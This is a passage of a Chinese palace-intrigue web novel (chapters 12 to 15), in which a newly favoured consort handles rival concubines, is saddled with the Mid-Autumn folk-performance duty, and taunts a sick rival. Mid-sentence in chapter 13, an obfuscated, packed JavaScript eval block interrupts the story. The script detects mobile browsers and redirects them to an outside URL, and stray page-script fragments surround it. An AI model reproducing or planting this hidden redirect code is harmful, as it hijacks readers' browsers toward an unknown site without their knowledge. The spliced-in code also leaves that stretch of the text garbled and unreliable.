庆帝突然想到那晚她长发披散,狼狈抬眸看他的模样,他以为自己忘了,却不想再见她时,那双水润的眸子依旧清晰。 于少微舀了一勺递到庆帝嘴边,笑得一脸温柔:“养育皇子是重任,陛下既让臣妾做了他的母妃,臣妾怎能不尽心尽力。” 庆帝抿下嘴里的马蹄爽,点点头道:“味道很好,你去哪里学的?” “臣妾幼时在家中,与一位岭南来的厨娘颇为投缘。”于少微将瓷勺轻轻放下,眉目间适时掠过一抹淡淡的哀伤,语气也低了几分,“那位厨娘最擅做各式甜汤,臣妾的手艺,都是当年跟着她学的。” 庆帝将她眼底的落寞尽收眼底,自己端起碗又喝了几口,语气带着几分体贴:“在宫中不必这般辛苦,这些活计自有宫人来做。” 于少微抬眸望他,眼中满是感激,轻轻点头:“嗯,往后臣妾只做给陛下和五殿下吃。” 庆帝眼里划过一丝满意,左手拇指与食指微微摩挲,“轸儿最近如何?在你处还算听话?” “殿下聪慧懂事,每日读书都十分用功,待臣妾也敬重有加。”于少微柔声答道,语气诚恳,“臣妾初入宫闱,良多生疏,有他在膝下陪伴,臣妾心中安定不少,实在感激陛下的体恤。” 庆帝闻言将她揽入怀中。于少微顺势靠在他的胸膛上,清晰地听见他沉稳有力的心跳。 “轸儿是个好孩子,只可惜他生母去得早。朕忙于国事,对他多有忽略,往后你们母子若有什么需要,只管派人来传话,不必拘束。”他顿了顿,话锋一转,“二皇子的事情朕已知晓,你们受委屈了。” 于少微一愣,下意识想抬头看他,却被揽的更紧,庆帝身上四合香的气味萦绕在她鼻息,她依偎在男人怀里柔柔道:“能得陛下怜惜,臣妾母子不委屈。” “谢家是大夏肱骨之臣,贵妃身为谢家的女儿,养出的孩子难免骄纵了些。”庆帝的语气平淡,听不出喜怒,“事情已然过去,朕也不好过多苛责,但若是再有下次,你不必忍让,直接来禀告朕,朕会为你们做主。”他的手指轻轻捏着于少微后颈的皮肉,目光落在她鬓边那支颤动的蝴蝶簪上。 于少微往他怀里缩了缩,轻声道:“臣妾来了宫中,才知道有人疼惜原是这般滋味。” 庆帝低头看向怀中人,于少微缓缓抬起脸,清凌凌的眼眸里蓄满了泪水,男子凌厉的眼神蓦然柔软许多。他怜惜地抚了抚她微红的眼角,一把将她拦腰抱起,稳稳地往龙榻的方向走去,帘帐落下之际,他在于少微耳边轻轻道:“朕会是你今后的依靠。” 13. 第十三章 翌日早晨,于少微恹恹地歪在寝宫的软榻上等早膳。 身子沉甸甸的发懒,精神也倦怠得很,她索性吩咐宫人直接在榻边支张小几,早膳也全都端过来。 端菜的宫女折返一趟又一趟,没多久就把小小的乌木几案堆得满满当当,于少微定睛一瞧,顿时瞪圆了双眼,语气带着几分诧异:“这……怎么这么多?” 她没吩咐过要丰盛,这十一二个碗碟,荤素点心汤水样样齐全,别说她此刻没什么胃口,便是食欲旺盛时也吃不完,岂不是要白白浪费?宫里规矩森严,有没有什么纪检之类的组织?不会隔天就告到皇后那说她奢侈无度吧? 小几实在堆不下,她只得先拣了两碟看着合口的点心放在面前,其余的便放旁边,宫人侍奉在旁随时进行流动替换,不过是一顿日常早膳,硬是吃出了早茶配流水席的排场,于少微望着眼前琳琅的吃食,一时有些哭笑不得。 “娘娘,这几碟点心是陛下特意赏赐的。”槐序点了点几样摆盘考究、连碗碟都十分别致的吃食。 于少微点点头,可以理解,应该的。 目光扫过一案吃食,最终落在一钵飘着浓郁香气的羊肉上,辛辣的胡椒味混着羊肉的鲜香钻入鼻尖,瞬间激醒了混沌的思绪,浑身都透着股说不出的舒泰,只是……她挑了挑眉,指着那钵水盆羊肉问道:“这又是哪来的?”谁家好人大清早的就吃这么个硬菜? 槐序笑眯眯道:“是五殿下吩咐的。殿下昨晚特意嘱咐,说您昨夜没吃好,今早定要备得丰盛些,如今还不是吃羊肉的时令,这羊肉是殿下用自己的例银,特意让人跑了好几家铺子才采买到的。” 于少微“哎唷”一声,嘴角不自觉地扬起得意的笑,算他有良心,还会惦记她有没有吃饱。 庆帝赐的荷叶莲蓬汤鲜香爽口,已是难得的美味,但此刻闻着这钵水盆羊肉的香气,她倒觉得亓轸这份更胜一筹,不论口胃,单比心意,果然还是自家孩子更让人觉得妥帖。 不过,真的太丰盛了,这就是所谓奢靡的生活吗?于少微由衷感叹。 * 接下来半月有余,庆帝多次照幸她,珍宝绸缎流水般的往她宫里送,一时之间,宫中关于她的风言风语沸沸扬扬,或艳羡,或揣测,或嫉妒,于少微的钱包鼓起来了,生活也同样“热闹”起来。 往日无人问津的晴雨阁如今成了宫妃们趋之若鹜的去处,今日这位婕妤携了新制的香膏前来分享,明日那位贵人带着金钗过来赏玩……她们的眼神总是在殿中各式赏赐上打转,问东问西,言语间尽是试探,且往往送走一位,转身便又迎来一双,有时甚至三五成群,簇拥着涌入晴雨阁内,于少微宫里的茶水点心都快被薅完了! 更有甚者,不但打扰她午膳,连她与亓轸的晚膳时间也厚着脸皮登门,期间不但追着她套话,连亓轸都要时不时被薅两下,话圈子兜兜兜到厌烦,一顿饭下来,二人对视一眼,俱是气竭。 又一次将两位结伴而来的妃子送走,亓轸端着饭碗,蔫头耷脑地扒饭,语气满是不耐:“您就不能直接拦着不让她们进来吗?” 于少微同样有气无力地瘫靠在椅背上,语气倦怠:“我也不想啊,你也是看到了,我能拦得住?” 她拦不住。 她总是无法拒绝他人,即使知道他们另有目的、别有所求,她也狠不下心主动拒绝。她怕拒绝的话语一出,便会引来无端的记恨与报复;怕一段看似平和的关系,因自己的一句话便彻底终结。她下意识地觉得,唯有成为旁人眼中“懂事”“和善”的好人,才能被接纳,被喜欢,被需要,才能有价值。 在舅舅家时,只要她勤勤恳恳的做家务,照顾年幼表弟,舅舅舅妈就会夸奖她,甚至还会让表妹学习她,而远在外地的父母也会因为她的忍耐和不打扰夸奖她,说她懂事听话能理解父母的难处。即使后面回到父母身边,她也下意识用主动包揽家务,不索要新衣服与可口吃食来彰显自己的懂事与价值,以此换得父母的认可与爱。 与朋友相处,她也习惯性地收敛自己的情绪,即使不开心也要努力活跃气氛,即使不想讲话也要笑嘻嘻的与人交谈,即便百般不愿也会硬着头皮答应别人的请求…… 可就算她如此努力的去讨好所有人,到头来,舅舅一家只会携恩绑架她,父母只会失望埋怨她,朋友…朋友只会在背后嘲笑她…… 她何尝不明白,这样的关系早已畸形,这样的讨好毫无意义,她并不是没有努力过,可经年累月养成的习惯,就像嘴角时刻扬起的、有时连自己都未察觉的假笑一般,早已深深扎根在骨血里,将她缠入这畸形的人际漩涡。 好在,她死了,可惜又在另一个世界活了。既来之则安之,她告诉自己要痛快活一场,可她究竟能做到几分? 桌边的女子单手托腮,眉目低垂,满脸怅然,亓轸斜了一眼,夹了只蟹肉小饺放在她碗里,见她茫然地看过来,不自然地别过脸,语气生硬道:“这个凉了不好吃。” 听他这么一说,于少微混沌的思绪稍稍回拢,她望着碗中晶莹剔透的小饺,忽然轻轻一笑,抓起筷子又夹了两个放进碗里。罢了,事已至此,还是先吃饭吧,人生解不开的愁怨多了去了,又何必纠结于一时呢? 但,烦心事是接踵而至的。 后宫是皇帝的大花园,新来的花朵若是开得过分灿烂,引得帝王流连,除了蜂蝶环绕的虚热闹,更会招来暗处觊觎的虫豸与淬毒的尖刺。不同于部分嫔妃明里暗里的打听与羡慕妒忌,与庆帝的宠爱一起来的,还有明晃晃的恶意与中伤。 交好的瑛嫔与瑾嫔对她态度变得冷漠,得宠后她如以往一样去找她们学月琴,谁知刚到宫门口,便被宫女找借口拦下。彼时正是盛夏,日头毒得厉害,她穿着层层叠叠的宫装站在廊下,硬生生被晒了一刻多钟。 好不容易进了门,瑾嫔斜倚在软榻上,见了她只抬了抬眼皮,语气尖酸:“哟,这不是如今圣眷正浓的于婕妤吗?怎么还肯屈尊来我们这冷清地方?怕是宫里的珍宝赏多了,闲得发慌,来我们这儿找乐子来了?” 于少微很想转身就走,但又怕有什么误会,还是耐性解释她是来学琴的,瑾嫔冷笑一声:“学琴?”她起身走到琴案前,手指重重按在琴弦上,“于婕妤如今深得圣心,怕是连陛下都能日日相伴,哪里还需要学这劳什子月琴?莫不是想学会了,再去陛下跟前邀宠?” 瑾嫔说这话时,瑛嫔坐在一旁很是沉默,她眼里似乎有歉意闪过,但最终什么也没说,自此,于少微再也没有登过她们的门。 除了这对姐妹,贵妃宫中的李婕妤也没闲着。她与于少微素无交集,却像是见不得她安好,日日变着法儿地使绊子。于少微宫里新换了一扇屏风,隔日便被人泼了墨汁,查来查去,只抓到一个神色慌张的小太监,说是不小心撞翻了砚台。她有时吩咐小厨房做些羹汤吃食,送来时却总有异物,或是几根头发,或是半只虫豸,宫人想去理论,却被李婕妤身边的人挡了回来,反说晴雨阁的人小题大做,想攀咬贵人。 为什么呢?于少微回忆着瑾嫔与李婕妤面对她时掩饰不住的厌恶,咀嚼她们阴阳怪气的语言,她猛然发现,她们似乎是在怨恨庆帝对她的宠爱,她们似乎在热烈的爱着那位高高在上的帝王,而爱又怎么能容许分享? 于少微又想,她们为什么会爱呢?平心而论,庆帝的确拥有一副好相貌,帝王的威严与权势更是给他镀上了一层旁人难及的贵气,他有学识、能力、有功绩……这些似乎都是值得爱的,可帝王之爱遥如天上月,看着皎洁动人,触手虚幻,落在身上是刺骨的凉,庆帝注定无情,妻妾子女与前朝诸臣一样,都只是他手中权衡利弊的棋子,在这宫中,爱或许是最大的牢笼。 又过几日,前朝便传来消息,庆帝在早朝上嘉奖了她的父亲,还将一项颇为重要的差事交托给了他。消息传回后宫,众人纷纷传言这之中有于少微的一份功劳,庆帝对她的宠爱,已是板上钉钉的事实。 这下,晴雨阁更是门庭若市,前来打探、攀附、套话的妃嫔一波接着一波,于少微笑着送走一轮又一轮的客人,最后拖着疲惫的身体独自坐在重归寂静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849604|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的屋内。 亓轸不知何时走了进来,见她这副模样,也不多言,只是默默在她身边坐下,少年身上清冽的气息萦绕在侧,沉默却安稳的氛围如潮水般蔓延开来,于少微紧绷了一天的神经才总算稍稍放松。 隔几日请安,众人行礼落座后,谢贵妃率先开口,语气带着几分疲惫:“皇后娘娘,臣妾与淑妃妹妹近日忙于筹备番夷宴,诸事繁杂,下月的中秋家宴,实在有些分身乏术。臣妾想着,后宫中的姊妹本是一家人,家宴也该众人出力,故而斗胆向娘娘请旨,允许臣妾将部分事宜分担出去,也好让家宴办得更周全些。” 谢贵妃今日穿了件淡黄色的素面裙衫,眼下挂着淡淡的乌青,神色确实透着几分倦意。 陈皇后关切地看着她:“贵妃为国事操劳,千万要注意身体,至于中秋家宴,你的建议很好,不知你心里是否有了合适的人选?” 谢贵妃含笑点头,抬手示意宫人呈上一份名单:“回娘娘,前日陛下来臣妾宫中,恰巧问起家宴的筹备情况,臣妾便先拟了一个单子给陛下过目,陛下看后并未置喙,只让臣妾拿给娘娘,由娘娘定夺。” “陛下既无异议,想来贵妃的安排是妥当的。”皇后说着,伸手接过名单,细细扫了起来,看着看着,她眉头忽然微微一蹙,抬眼看向谢贵妃:“今年的家宴,竟要添民间百戏?” “回娘娘,这是陛下的意思。”谢贵妃回道,“陛下说每年家宴的程式都是一成不变,未免有些沉闷,想添些民间百戏,增添些新鲜趣味。” 陈皇后点了点头,目光再次落回名单上,语气带着几分不赞同:“那为何要让于婕妤去负责民间百戏的表演?于婕妤入宫不久,资历尚浅,怕是难以担此重任。” 正低头神游天外的于少微听到自己的名字,精神抖得一震。 贵妃笑得一脸和气:“娘娘有所不知,这是臣妾与淑妃妹妹商量过的,于婕妤入宫最晚,想必比我们这些久居深宫的人更熟悉民间的百戏杂耍,由她负责再合适不过了。” 皇后转头看向淑妃,淑妃也点点头,附和道:“贵妃姐姐说得在理,于婕妤聪慧灵巧,想来定能办好此事。” 谢贵妃又补充道:“况且,陛下前几日才褒奖过于婕妤的父亲,有道是虎父无犬女,于婕妤的能力自然不差。陛下也与臣妾提过,说要多给于婕妤些历练的机会呢。” 话说到这份上,又搬出了陛下的旨意,皇后不便再多言,只是抬眼看向众人,语气严肃起来:“既然如此,便按贵妃的安排行事,贵妃稍后会将具体事宜吩咐下去,虽是家宴,但关乎皇家体面,各位务必尽心尽责,不可有半分敷衍。若是第一次接手此类事务,遇到难题可随时来向我或贵妃请教,万不可擅自做主,耽误了正事。” 众妃齐齐应声:“臣妾遵旨。” 随后,贵妃便让人当场宣读名单,被点名负责事务的妃嫔共有五人,贤妃负责膳食采买与搭配,瑛嫔与瑾嫔一同负责乐舞编排,李婕妤负责宾客席位的排布,而于少微则被指派负责民间百戏的全部事宜。 听着旁人负责的都是膳食、乐舞这类宫中常见、有章可循的事务,唯有自己摊上了这劳什子民间百戏。于少微心里咯噔一下,她虽不清楚具体要做些什么,但看皇后方才的反应,怕不是什么容易的活。 她心里渐渐凉了下来,她姑且算是淑妃宫里的人,再有元轸的事在前,想来也让谢贵妃记了仇,此番怕是故意给她挖了个坑。只是,她不过是个初入宫的婕妤,宫中无根基,宫外无依靠,又何必劳她来使绊子?还有淑妃,淑妃也同意了? 于少微偏头去看淑妃,只见她正柔柔地与皇后说着宫中新制秋衣的安排,察觉到于少微的目光,也只回她一个淡淡的微笑,又继续与皇后交谈。谢贵妃也在旁边听着,时不时插两句话,有时惹得淑妃不悦,她又圆滑得将话题兜过去。 皇后坐在上首,无奈地听着两人言语间的针锋相对,目光流转间,忽然瞥见于少微脸上略显茫然无措的神情,不由得徐徐叹了口气,眸中闪过一丝复杂难明的情绪。 14. 第十四章 回到晴雨阁后,于少微找槐序等人了解了一番中秋家宴与民间百戏是何物,越发确定此举就是给她挖了个大坑。 让一个深宫妃子去负责来自市井的杂耍、幻术、猴戏等班子,而这些班子人员混杂,难以管束,极易出现冲撞等事故,更别说在后宫这种规矩繁多的地方,且需要频繁与这些来自宫外的三教九流接触,或得日夜操劳,足以让人身心俱疲、无暇他顾,若是出了一点差错,一个办事不力的罪名扣下都怕是轻的。 “以往这些事是找谁办的?”于少微烦躁地摁住眉心。 “俱奴婢所知,以往宫中的中秋家宴并没有民间百戏表演。”槐序看着于少微忧愁道,身后的几个宫女也纷纷点头,她们进宫都比于少微早,的确从未听说过。 真是冲着她来的,于少微在心里嘟囔,只是她与谢贵妃并无大怨,身为贵妃,无论是钱财地位,还是帝王宠爱,她都样样胜她,又何必费番力气来找她的茬? “娘娘打算怎么办?”槐序担心道。 于少微皱眉思索,谢贵妃那里她不好找,淑妃那还不能去探探吗?主意下定,她道:“我们去找淑妃娘娘。” * 淑妃知晓她的来意,也不与她兜圈子,直接道:“我知你心里害怕,民间百戏这个节目之前都是前朝宴请时才会出现,后宫的家宴并未出现过,这次其实是谢贵妃做主加到单子上的,我事先并不知她会分给你。你今天也听到了,单子已给陛下过目,木已成舟,连皇后娘娘都不好再说什么,我更是说不上话。” 淑妃叹气,拉着于少微的手安慰道:“谢贵妃此人向来在后宫中横行霸道,嚣张又跋扈,想来是因为你近日受宠,才惹到了她,你受委屈了。” 于少微跟着叹了口气:“谢谢娘娘体谅妾,您都如此掏心挖肺了,少微也清楚此事再无回旋余地,方才听您说前朝的宴会曾请过这民间百戏,想问您可否认识什么人,能帮帮我?” 淑妃面露难色:“我只听说这些一般由礼部负责,只是后宫不得过问前朝政事,因此我与前朝并无联系,这里恐怕是帮不到你。” 于少微肩膀垮了下来,半响,她又看向淑妃面露希冀:“娘娘,少微从未办过如此大事,若是遇到不明白的问题,可否来请教您?” 文淑妃顿了一下,欣然点头:“你是我宫里的人,这自然是应该的,要是遇上拿不准的事,喊人通报一声,直接来找我就是。” “有娘娘这句话少微顿时心安不少,之后一段日子怕是要叨扰您了。”于少微双手合十抵在下巴处,表情感激不已。 文淑妃上下打量了下她的神情,缓缓道:“你且安心去做吧,此事若能办好,陛下想来也会更加看重你。” 于少微点点头,带着槐序行礼告退。 回到晴雨阁,于少微先是给自己猛灌一杯凉茶,又将头上钗环拔下几个,披散着头发,一屁股瘫坐在贵妃榻上。 槐序也苦着一张脸,见于少微姿势随便的瘫倒在卧榻上,犹豫片刻,还是小心翼翼道:“奴婢觉得……淑妃娘娘似乎并不想帮您。” 于少微正歪着脑袋抬手拨弄着细颈瓷瓶里新换上的夏荷,闻言头也没抬,只淡淡道:“我知道。” “那您刚刚还?”槐序不解。 于少微叹了口气,将花瓶挪到一旁,坐了起来:“我只是想确定她不会给我使绊子。” “淑妃娘娘答应了?”槐序有些不确定。 “她既然答应我帮忙的请求,无论帮不帮,想来是不会对我的行动有过多干涉的。” 说实在的,于少微很想骂人,文淑妃说的那些话,她是半个字都不信!什么都是由谢贵妃决定的,她不信就凭文淑妃那无利不起早,执着于找贵妃茬的品性,她被安排百戏一事,她半点不知情? 自己成天各种谋划,她文家能在朝中有如今的地位,她这位后宫淑妃出的力还少?还大言不惭和她说什么后宫不得干政,她倒是别管啊!不想帮就不想帮,连借口都找得如此敷衍,搁那和她骂谢贵妃跋扈,她这笑面虎也不遑多让嘛! 亏她之前还向她示好投诚,结果好处没捞到什么,破事一件件排队上,果然这后宫之中谁都靠不了,她……想到这,于少微突然泄了气力,文淑妃当然靠不住,也没人能靠得住,她想让别人帮她,首先得证明自己的价值。 “槐序,拿纸来,还有笔墨!”于少微高声吩咐道。 槐序做事利落,很快就把东西在于少微面前摆好,瞧见婕妤若有所思的样子,她有些好奇道:“娘娘这是要?” “给我的父亲写信。”于少微抓着毛笔跃跃欲试。 “既然宫里都说他们能得到陛下重用有我一份力,那我不得好,好,邀,功。”于少微龇牙假笑。 斟酌好词句,于少微下笔一气呵成,拿信封封好后,交给槐序让她找人送出宫。 已至夏末,除了早晚凉快些,天气依旧热得唬人,刺目的阳光被窗格分成一个个小块,射到于少微裸露的脖颈、手臂上,仿佛下一秒就要烧起来了。 于少微赶紧让人挂上竹帘,自己又挪到寝宫中间的矮几坐下,春阳端来了厨房新制的木樨清露,桂花蜜配上冰镇过的井水,里头还加了用糯米制成的白玉丸子,吃起来一口清凉,再来口暑气尽消散。 于少微一口气用了半碗,边搅着剩下的甜汤边嘱咐道:“让厨房再多做一碗,啊不,两碗,晚膳的时候一起端上来。” “嗯?怎么了?遇见开心事了?”于少微见青阳答应了却没离开,只是站在原地看着她,眉眼里是掩不掉的喜悦。 “婕妤,奴婢刚刚得了个好消息!”青阳两手攥在胸前,声音激动。 “哦?”于少微被她的情绪感染,也学着青阳的动作,眼睛亮晶晶的:“你快说!” “是李婕妤!”青阳往殿门外瞥了眼,“她今天中午回宫的路上,被一只突然蹿出来的猫吓了一跳,脚一崴,不知怎的,滚到荷花池里了!” 青阳话音落下,场面顿时陷入沉默,她看着于少微骤然沉下去的脸色,心里咯噔一下,慌忙躬身:“婕妤,奴婢不是故意幸灾乐祸,只是……” “哈哈哈哈哈哈哈……”于少微猛地拍着桌案笑出声,眼泪都飞出了眼角,扶着椅扶手直不起腰。 青阳见状才松了口气,拍着胸口笑道:“奴婢就知道娘娘会解气!这李婕妤早该有此一遭了!” “然后呢?”于少微揩着眼角笑出的眼泪,追问道。 真不怪她缺德,是这位李婕妤实在是讨人厌!自她得宠后像是和她杠上般,成天不留余地的给她找不痛快!手段阴损又小家子气,恶心人从不重样,先是已经连续好几回请安时的后宫座谈会中,她被陈皇后和谢贵妃点名问话,问话内容无非是得到举报,她的小厨房超额支出啦,她的衣着不端啦,她私下不敬皇后贵妃啦…… 面对这些指控,于少微哭笑不得,脑袋顿时冒出一句话:臣妾百口莫辩,啊不,她还是要辩的,她不厌其烦的一一解释,除此之外,还有各种造谣,什么她虐待下人心肠歹毒,她命格不好克死母亲不宜侍奉陛下,甚至还传她在家中时与下人有私情!!! 都是些无凭无据的东西,最大的作用除了搞于少微心态,大概就是给无聊的后宫人士增添一些茶余饭后的八卦,虽然没造成什么实际性伤害,但也的的确确惹人恶心,而始作俑者,一查一个准,都是李婕妤一人! 于少微真的很恨,就这还不止!李婕妤似乎要将自己讨人嫌的形象立到极致,时不时往于少微面前凑,故意和她穿一色的衣服,然后硬是拉人来评价谁最好看,去于少微宫里打转,对她宫 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“去通知厨房,今晚加餐!都加餐!槐序去我钱箱里拿钱,咱们好好庆祝!”于少微巴掌拍得啪啪响,眼角眉梢都透露着痛快的喜悦。 晚膳时,亓轸看见桌上格外丰盛的菜肴,又联想到于少微来接他下学时,显而易见的开心,挑眉看向她:“您是有什么喜事吗?” 于少微等的就是这句话,倾身迫不及待地将下午得到的消息和盘托出。亓轸也被李婕妤烦过好几回,但闻言却只是矜持一笑,神色平平,并没有太多反应,于少微有些失望,心里莫名不舒服。 “你不高兴吗?”于少微不死心。 “你高兴吗?”亓轸反问。 “当然!”于少微斩钉截铁道,她今天就算把木鱼敲烂,也要笑得天崩地裂! 少年眉眼弯弯,勾起的嘴角透露出几分难得的淘气:“我也是。”他轻快道。 于少微有些意外地多看了两眼,她很少看见亓轸露出这样鲜活的表情,心情顿时更加开怀,但很快,保持了小半天的兴奋慢慢落下,随之而来的,是被她故意抛在脑后的难题。 亓轸注意到方才还浑身透着欢快劲的人没一会儿又整个颓了下来,不禁有些疑惑,觑了她好几眼,心里犹豫着要不要开口去问。于少微此时心里堵的难受,也想找人倾诉,两人一不留神对上了眼,见他一副欲言又止的模样,她像抓住救命稻草似的,不等亓轸开口问,就噼里啪啦倒豆子似的将今天上午的事情与他说了一遍。 于少微讲完觉得口干舌燥,边端起茶杯喝水润喉,边偷偷抬眼观察亓轸的反应。 旁边的少年听完事情经过,除了微微蹙起的眉头与眼底闪过的轻微诧色外,并没有太多表情变化,于少微心里的火苗“噌”地一下就冒了起来,方才那点倾诉后的轻松荡然无存,但她又实在不知道能说些什么,只得愤愤地戳着碗里的红烧肉。 在她就快将红烧肉戳成一滩肉糜时,亓轸敛着眉开口了:“民间百戏的事,我明日帮您问问夫子,他或许认识礼部的人。” 少年的声音犹如甘露,于少微烦躁的心情顿时得到舒缓,她一把扔下筷子,歪着头故作轻松道:“先不着急,我已写了信,眼下应该已经到了,等拿到回信我再与你商定。” “信?给谁的?您知不知道后宫不得过问——”亓轸突然有些激动,原先平静无波的表情浮起一层急色,看着于少微的眼神像在看一个找死的傻子。 “我知道!”于少微不耐烦地打断少年的话,她像是那种会傻到直接给礼部写信的人吗?人与人之间还能不能有点信任了?她明明也很聪明的好吗! 亓轸也意识到自己的失态,眼神闪了闪,声音放软了许多:“对不起,是我太着急了,可否告诉我您写信给了谁?” 于少微没好气地看他,丢下三个字:“你,外,公。” 15. 第十五章 于父的回信很快就送到了宫里,随之一起来的还有一大一小两个木箱。 他在信中答应了于少微的请求,并纠正她因为涉及接待外宾,所以民间百戏一事一般是交由鸿胪寺负责,且替她寻到了一位已经致仕多年的鸿胪寺寺丞,此老当年曾多次操办此类事项,堪称经验丰富。至于如何联系,于父也替她解决了,让她借口写家书,通过继母向这位老寺丞咨询,最后还嘱咐,若有问题及时让人传信出宫,务必好好笼络住圣上。 于少微乐了,想到记忆中那个刻薄的女人如今不得不捏着鼻子替她跑腿传话,漠视她存在的父亲不但要帮她解决问题,还得巴巴地为她铺路搭桥,一股说不清道不明的快感涌上心头,算不上多痛快,却颇带着点恶心人的快感。 至于那两个箱子,同样是于少微找于父要来的,一个钱箱,她数了数,约莫有六百贯,另一个小些的箱子,里头装的是一些金玉首饰,于少微拿起一支白玉荷鸳鸯纹簪细细端详,又拨了拨别的首饰,嗯,总体值钱程度要比她入宫时给的那个首饰匣子里的要高些。 果然啊,人一旦得势,想要什么便有什么,于少微蹲在地上抱着两个箱子颠颠地乐,不出意外的话,她大抵是找到长期饭票了,她再也不会为半贯的赏钱心疼……嘶,还是疼的,若是能一分钱不花办成事,她还是想做一毛不拔的铁公鸡。 困宥她几天的烦心事落定,于少微心情大好,又兴奋的将钱箱里的钱数了一遍,首饰也都拿出来一一进行二次欣赏,才心满意足地指挥槐序等人将钱箱与首饰都搬进去收好。 诸事安排妥当,于少微坐在案前,提笔将近日思索的关于民间百戏筹备的种种细节一一列在纸上,反复核对数遍,确认无一遗漏后,她又在纸的另一角添了几句无关痛痒的问候,姑且算作一封周全的家书,最后小心将写满问题的单子夹在信纸之间,仔细折好装入信封,吩咐宫人即刻送出宫去。 诸事忙完,于少微还是觉得整个人涨得厉害,连日紧绷的神经骤然松弛,胸中那股无处安放的高昂情绪与旺盛精力急需找个出口宣泄。 她略一思咐,脑中灵光一闪,哎呀呀,巧了吗这不是!自李婕妤落水卧病,她竟还没登门探望过,都是宫中姐妹,往日李婕妤也没少来晴雨阁走动,如今人家遭了难,她岂能置之不理?于少微摆出一副痛心疾首的模样,扬声唤道:“来人!替我梳妆,我要去探望李婕妤!” 正拿着拂尘扫窗棂灰尘的青阳闻言眼睛一亮,立马丢下拂尘,乐颠颠地跑到于少微跟前,满脸期待地搓手:“婕妤,奴婢也想去瞧瞧!能不能带上奴婢呀?” 于少微大手一挥,语气爽快:“跟上!” 青阳高兴地使劲点头:“奴婢一定给娘娘梳个非常非常非常漂亮的头!” 于少微挑了挑眉,心中暗忖:这小丫头倒是越来越上道了,甚合我意! “甚好。”她颔首道,“你去把方才宫外送来的首饰拣些出来,颜色要鲜亮夺目些,越艳越好,别选那些素净寡淡的。” 打发走满脸跃跃欲试的青阳,于少微转头看向一旁,对正瞧着她俩互动笑得一脸无奈的槐序扬声道:“槐序,走,陪我去挑件衣裳!” 两人正蹲在衣箱前翻拣,槐序忽然开口提醒:“婕妤,去探望病中之人是否要备些薄礼?空手而去,怕是于理不合。” 于少微闻言,脸上立刻露出抗拒之色,她才舍不得把自己的东西分给李婕妤半分,可转念一想,名义上是探病,空手去确实说不过去,传出去反倒落人口实。可送什么好呢?贵的舍不得,便宜的……那些比较便宜呢…… 她正琢磨着,忽然眼前一亮,转头看向槐序:“午膳剩下的杏仁糕还有吗?” 槐序点点头,如实回道:“您说味道不佳,没动几口,还剩了不少。” 何止是不佳!于少微暗暗腹诽,那杏仁糕简直难吃到令人发指,不但味道甜得发腻,杏仁味也又冲又怪,她只咬了一小口就差点被齁得呛住,连忙灌了大半壶茶水才缓过来,当即让人把剩下的都端走了。 “就它了!”于少微一拍手,在心里对自己进行一番褒奖,“临走时找个食盒装起来带走便是。” 出门时,原本艳阳高照的天忽然转阴,凉风习习,吹得人神清气爽,于少微越发觉得,此次探望简直是天意使然,她转头不由分说地从青阳手里夺过食盒,坚持要自己提着,步履轻快,去秋水居的路上只觉一阵鸟语花香。 秋水居内,李婕妤正卧病在床,脸色泛黄浮肿,神情憔悴不堪,听闻于少微来了,她眉头瞬间拧成了川字,脸色难看至极,不顾身边宫人的劝阻,挣扎着就要从榻上起身。 于少微穿了件樱红色绞缬短儒,领口开得有些低,显得她肩颈曲线优美至极。腰间紧紧束了一条郁金香根染的石榴裙,将儒衫束于其内,更显体态修长丰硕。一条湖蓝色的帔子随意地绕过脖颈,搭在臂弯间,鲜艳的妆束衬得她整个人明媚热烈,生机勃勃,与病恹恹地靠坐在软榻上的李婕妤形成了鲜明对比。 “你来做什么?”李婕妤冷冷道。 “自然是来看你啊。”于少微笑意盈盈地走上前,亲自打开手中的食盒,将里面的杏仁糕取出来摆在李婕妤面前的小几上,“特地给你带了些点心,这杏仁糕细腻清凉,入口即化,且这杏仁有美白润肤的功效呢。” 说到这里,她故意顿了顿,目光似有若无地扫过李婕妤的脸,随即捂住嘴,露出一副惊讶不已的神情:“呀,李姐姐,你这是……” 李婕妤本就憋了一肚子气,被她这般打量,脸色愈发难看。 于少微挑了挑眉,往后退了两步,摆出一副语重心长的模样:“许是你卧病在床,久不见天日,这脸色看着可比往日差远了,泛黄浮肿的,瞧着着实心疼。这杏仁糕你多吃些,若是能帮忙去去黄气,也算全了我一片心意。” “啪——” 一个茶杯砸到了于少微的左前方,飞溅的碎瓷片落了几片在她的绣鞋上。于少微毫不在意地推开挡在前面的青阳,有些无奈道:“李姐姐的肝火怎么那么旺?你之前不是说你宫里的东西都是御赐的精品吗?这般说摔就摔,若是被陛下知道了,会不会怪罪啊?” “你!”李婕妤死死盯着于少微,胸膛剧烈起伏,气得浑身发抖,泛黄的脸颊上憋出了两抹不正常的红晕。 见她气得说不出话来,于少微无辜地眨眨眼,又添一把火:“李姐姐见我来这么欢喜?脸上都有血色了!我要是再多来几次,你是不是马上就要好了啊!” “滚!你给我滚!”李婕妤的声音变得嘶哑难听,她猛地抬手,将于少微带来的那盘杏仁糕狠狠推落在地。 见人气得神志都有些不清明了,于少微毫不犹豫地转头就走,刚走到门口,听到背后传来粗重的喘气声,她又忽然折返,轻手轻脚的绕过一地狼藉,手一勾将食盒带走了,偏头瞧见李婕妤怨毒的目光,她抿嘴笑道:“你也知道,我晴雨阁比不得秋水居家底丰厚,连御赐的茶杯都能随意摔碎,这食盒虽不值钱,却是我日常用惯的,恕我不能留给你了。” “滚——”李婕妤声嘶力竭,伴随着噼里啪啦瓷器摔碎的声音。 于少微立马拉着旁边看热闹的青阳急匆匆地走了。 刚出秋水居的门,于少微就憋不住仰头笑了起来,看见李婕妤吃瘪的样子,真是畅快极了!青阳也早烦死了李婕妤,方才看了一番热闹,真真觉得解气,看向于少微的眼神带着崇拜,她家婕妤可真是太会气人了! 